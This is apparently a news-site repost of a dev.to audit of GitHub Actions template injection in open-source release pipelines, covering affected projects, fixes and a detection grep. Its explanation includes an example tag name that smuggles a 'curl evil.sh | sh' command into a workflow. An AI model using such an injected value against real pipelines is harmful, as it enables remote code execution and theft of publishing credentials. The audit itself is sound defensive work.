deniz.in

Markets

Weather

Loading weather

· via dev.to (home feed)

GitHub Actions template injection found in four of 25 audited release pipelines

A dev.to audit of about 25 open-source release workflows found four that interpolate tag names and dispatch inputs straight into shell or JavaScript code, in jobs holding publishing credentials.

GitHub Actions template injection found in four of 25 audited release pipelines

An audit of about twenty-five open-source release pipelines, published on dev.to, found the same GitHub Actions footgun in four of them: ${{ ... }} workflow expressions interpolated straight into shell commands or JavaScript bodies, inside the very jobs that hold publishing credentials.

The line that is not a variable

The pattern the author hunted for looks like ordinary variable assignment:

TAG="${{ github.event.release.tag_name }}"

According to the post, ${{ ... }} is a template expression, not a variable read. GitHub splices its result into the script as raw text before bash parses a single character, so a tag named v1.0"; curl evil.sh | sh; echo " is never compared or stored — the injected commands simply execute.

Why it lands in release workflows

Version strings, tag names and workflow_dispatch inputs read as configuration rather than user input, which is why they end up interpolated. Release jobs are also where the powerful tokens live — the post cites id-token: write for PyPI Trusted Publishing as the standard example. The bug and the credentials therefore meet in the same place: the publish job.

The JavaScript variant is easier to miss

actions/github-script hides the same flaw because its script: block looks like a normal script file. That body is JavaScript source, and the expansion happens before parsing, so a single quote in the value closes the string literal and whatever follows is evaluated as code. Tag names can carry one: the post notes that git check-ref-format rejects spaces, ~, ^, :, ?, *, [ and backslash in refs, but not apostrophes.

The fix is mechanical

Route the value through an environment variable, which stays data and is never re-parsed as source text:

env: RELEASE_TAG: ${{ github.event.release.tag_name }} run: | TAG="$RELEASE_TAG"

For github-script, read process.env.RELEASE_TAG instead of interpolating. The author also recommends a workflow-level permissions: contents: read, with individual jobs raising scopes only where they genuinely need to.

What the audit found

Four of the roughly twenty-five projects carried the pattern:

  • crewAI (about 57,000 stars): a workflow_dispatch input reached the shell of the job building the PyPI artifact. The step turned out to be redundant — inputs.release_tag || github.ref already yielded the same result — so the fix deleted four lines rather than patching them.
  • polybar (about 15,000 stars): an input flowed into an unquoted shell assignment and then into four JavaScript string literals via GITHUB_ENV.
  • in-toto: a tag interpolated into github-script inside a job holding id-token: write for PyPI, notable because in-toto is itself a supply-chain integrity framework.
  • TEN Framework (about 11,000 stars): a tag interpolated into a github-script body with access to a cross-repository PAT.

The same class of bug had been fixed earlier in Prefect, now merged.

Severity, stated plainly

Every one of the four required push access to trigger — creating a release or dispatching a workflow — so none was exploitable by an anonymous outsider. The author filed them as defense-in-depth and said as much in each pull request, arguing that inflated severity costs maintainer trust. What the bugs do, per the post, is collapse the distance between being able to cut a release and controlling the identity that publishes it: a real escalation worth closing, not a catastrophe.

The other twenty-one were clean

Cloudflare's capnweb routes comment bodies through env, gates on author_association and pins every action by SHA; AWS's Go SDK does the same with issue titles. mem0 looked suspicious — a step output interpolated into a shell command — until the value was traced to a closed case statement of hardcoded literals with an erroring default. langchain, litellm, gradio, huggingface, weaviate and qdrant all checked out. The post's broader point: an audit that reports criticals everywhere it looks is not measuring the code.

How to check your own workflows

Search workflows for ${{ inside run: or script: blocks:

grep -rn -e 'run:' -e 'script:' -A20 --include='.yml' --include='.yaml' .github/workflows/ | grep '${{'

For every hit, the post suggests two questions. First, can anything outside the organisation influence the value? Issue titles, comment bodies and fork branch names are attacker-controlled by anyone, while tags and dispatch inputs require write access. Second, what does the job hold? A step with id-token: write, a publish token or a cross-repository PAT deserves far more care than one printing a version string — and if the answer is the registry keys, the fix should not wait.

Why it matters

Template injection in GitHub Actions is a well-documented class, yet this audit shows it persisting in the worst possible place: the publish job. Four real projects — one of them a supply-chain integrity framework — shipped it. Detection is a grep, remediation is env-var indirection plus least-privilege permissions, and the payoff is concrete: separating the ability to cut a release from control of the identity that ships code to users. For maintainers and platform security teams alike, it is cheap, repeatable hygiene.

  • #github-actions
  • #ci-cd
  • #security
  • #supply-chain
  • #devops

Related posts